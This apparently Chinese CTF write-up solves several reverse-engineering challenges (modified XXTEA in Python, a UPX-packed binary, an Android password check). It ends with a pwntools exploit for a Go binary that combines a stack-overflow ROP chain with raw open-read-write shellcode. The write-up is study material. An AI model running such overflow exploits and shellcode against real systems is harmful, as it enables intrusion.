初赛
ManyCheck
第一个数是77
第二个和第三个数的平方要为3025和2401
第四个数高低16位交换后要为0x66744769
依次输入77 55 49 1198089844 后,得到flag
ezpy
python打包的exe,先用pyinstxtractor解包,将struct头16字节插入re头部修复pyc
这个pyc很邪门,加了花指令,使用uncompyle6去反编译会报错,提示 Parse error at or near `JUMP_ABSOLUTE’ instruction at offset 120_122,输出的Python汇编不完整,只有main的汇编,encrypt函数和XX函数均缺失,原因是encrypt函数中存在花指令导致反编译失败了。
幸好,经过上次defcon后知道了一个非常好用的pyc反编译项目 pycdc,使用pycdc反编译修复好的pyc,它甚至能得到python代码而不是python汇编
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from ctypes import *
import binascii
def encrypt(n, v, key):
de = 1311062073
ro = 6 + 52 // n
total = c_uint32(0)
z = c_uint32(v[n - 1])
e = c_uint32(0)
if ro > 0:
total.value += de
e.value = total.value >> 2 & 3
for p in range(n - 1):
y = c_uint32(v[p + 1])
v[p] = c_uint32(v[p] + XX(z, y, total, key, p, e).value).value
z.value = v[p]
y = c_uint32(v[0])
v[n - 1] = c_uint32(v[n - 1] + XX(z, y, total, key, n - 1, e).value).value
z.value = v[n - 1]
ro -= 1
continue
return v
def XX(z, y, total, key, p, e):
xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
return xx
if __name__ == '__main__':
k = [
4,
3,
2,
1]
n = 2
xx = input('plz input your flag(DASCTF{*}):')
vvalue = [
722695011,
893015348,
0xFB586025,
752171035,
1118151735,
0x916AAD6E,
0xC3F6A656,
0xA3E014EF]
for i in range(1):
if len(xx) != 40:
print('error')
else:
xx = xx[7:39]
comppare = []
for i in range(0, 32, 8):
value = []
xxx = xx[i:i + 8]
xxx1 = xxx[0:4].encode()
xxx2 = xxx[4:].encode()
hexvalue1 = binascii.b2a_hex(xxx1).decode()
hexvalue2 = binascii.b2a_hex(xxx2).decode()
value.append(int(hexvalue1, 16))
value.append(int(hexvalue2, 16))
res = encrypt(n, value, k)
comppare.append(res[0])
comppare.append(res[1])
if comppare == vvalue:
print('correct')
continue
print('error')
return None
|
很明显,可以看到在encrypt函数内,出现了不符号Python语法的代码,即 if ro > 0: 块中出现了continue,而稍微阅读一下这个函数可以知道这里应该是 while ro > 0:,即,出题人故意的将这里的while修改为了if导致反编译器识别continue时出现无法找到循环体块而导致反编译失败。从输出的Python汇编中也可以发现这一点
接下来就是对着源码逆向了,阅读源码,发现是XXTEA的魔改,魔改了delta,round,XXTEA的model(去掉了最后的异或z),边界条件(大于等于魔改为了大于)
写出魔改后的解密脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
import struct
from ctypes import c_uint32
def decrypt(n,v,key):
de = 1311062073
ro=6+52//n
total=c_uint32(ro*de)
e=c_uint32(0)
y=c_uint32(v[0])
z=c_uint32(0)
while ro>0 :
e.value=c_uint32(total.value>>2&3).value
for p in range(n-1,0,-1):
z=c_uint32(v[p-1])
v[p]=c_uint32(v[p]-XX(z, y, total, key, p, e).value).value
y=c_uint32(v[p])
z=c_uint32(v[n-1])
v[0]=c_uint32(v[0]-XX(z, y, total, key, 0, e).value).value
y.value=v[0]
total.value -= de
ro=ro-1
return v
def XX(z, y, total, key, p, e):
xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
return xx
if __name__ == '__main__':
k=[4,3,2,1]
xvalue=[722695011,
893015348,
4216872997,
752171035,
1118151735,
2439687534,
3287721558,
2749371631]
devalue=[]
for i in range(4):
value=[]
value.append(xvalue[i*2])
value.append(xvalue[2*i+1])
res=decrypt(2, value, k)
devalue.append(res[0])
devalue.append(res[1])
print(devalue)
flag = b""
for i in range(8):
flag += struct.pack(">I", devalue[i])
print(flag)
|
得到flag DASCTF{xxt3444_1n_pyth3n_1s_e3sy_r1ght?}
复赛
EzMath2
魔改UPX壳,将UPX段名字改为了FUN,用010Editor将其名字修改为UPX可以直接 upx -d 脱壳,比赛的时候以为其他地方也有魔改就直接带壳调试了
无地址随机化。单步断点调试法找到关键函数sub_231410
发现存在反调,手动过一下或者SycalHide反反调插件。关键函数内存在push;ret花指令,分析栈结构发现与外层函数是同一个函数
将Call指令修改为jmp,patch掉花指令,重新识别函数结构,可以修复出该函数伪代码
这样逻辑就非常清晰了,对于奇数位异或7后减一,对于偶数位 57 * i) % 0x7F) & 0x7F,取余后再与应该不可逆向,所以进行爆破(爆破发现是唯一解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
cipher = [0x51, 0x51, 0x6B, 0x2F,
0x36, 0x34, 0x57, 0x47, 0x36, 0x70, 0x71, 0x7E, 0x61, 0x51,
0x74, 0x7B, 0x70, 0x46]
flag = []
def de_sub_231120(ans):
l = []
for i in range(33, 127):
# i = ord(i)
if ans == ( ( (57 * i) % 0x7F) & 0x7F):
l.append(i)
if len(l) == 1:
return l[0]
else:
print( hex(ans), l )
for i in range(0, len(cipher), 2):
flag.append( (cipher[i]+1)^7 )
flag.append( de_sub_231120(cipher[i+1]) )
print(flag)
print("".join( [chr(x) for x in flag]) )
|
ezandroid
太傻逼了,模拟器装不上,flag图片直接明文资源保存在apk里
jadx打开,用户名ccadwjlyah,密码异或3左移2后要与compare数组相等
1
2
3
4
5
6
|
cipher = [404, 220, 436, 368, 220, 436, 412, 452, 432, 200, 412]
pwd = ""
for i in cipher:
pwd += chr( (i>>2)^3 )
print(pwd)
|
解得密码f4n_4ndro1d,输入程序得到flag
GO-MAZE-v4
go语言pwn,对符号结构做了魔改,看不到符号,先输出了一个迷宫 按aswd走出迷宫,输入为 “ssssssssssddddddwwwwwwddddddwwddddwww”,提示 DO YOU WANNA THIS?\nflag ,根据字符串找到关键函数401305
接下来输入一个足够长的字符串程序崩溃,认为栈溢出。动调确定输入位置在该函数底部sub_4063E0,任意长度,无截断,可任意地址跳转。偏移长度为0x180
同时发现程序内申请了一块RWX权限空间0x123000,可将shellcode写到上面并跳转到该位置执行。getshell没有回显,ORW可以输出flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "pwn"
IS_64 = True
if IS_64:
context(arch="amd64",os="Linux")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
context(arch="i386",os="Linux")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
if len(sys.argv) < 2:
sh = process("./"+FILE_NAME)
else:
if ":" in sys.argv[1]:
host, port = sys.argv[1].split(":")
sys.argv[1] = host
sys.argv.append(int(port))
sh = remote(sys.argv[1], int(sys.argv[2]))
# libc = ELF("libc-2.19.so")
context.log_level = "debug"
elf = ELF(FILE_NAME)
pop_rdi = 0x4008f6
pop_rsi = 0x40416f
pop_rdx = 0x51d4b6
sys_read = 0x51D780
input()
# Input Map
map_str = "ssssssssssddddddwwwwwwddddddwwddddwww"
sh.sendline(map_str)
input("Send payload")
offset = 0x180
payload = offset*b'a' + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x123000) + p64(pop_rdx) + p64(0x100) + p64(sys_read) + p64(0x123000)
sh.sendlineafter("flag", payload)
input("Send Shellcode")
payload = '\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x66\x6c\x61\x67\x00'
sh.sendline(payload)
sh.interactive()
|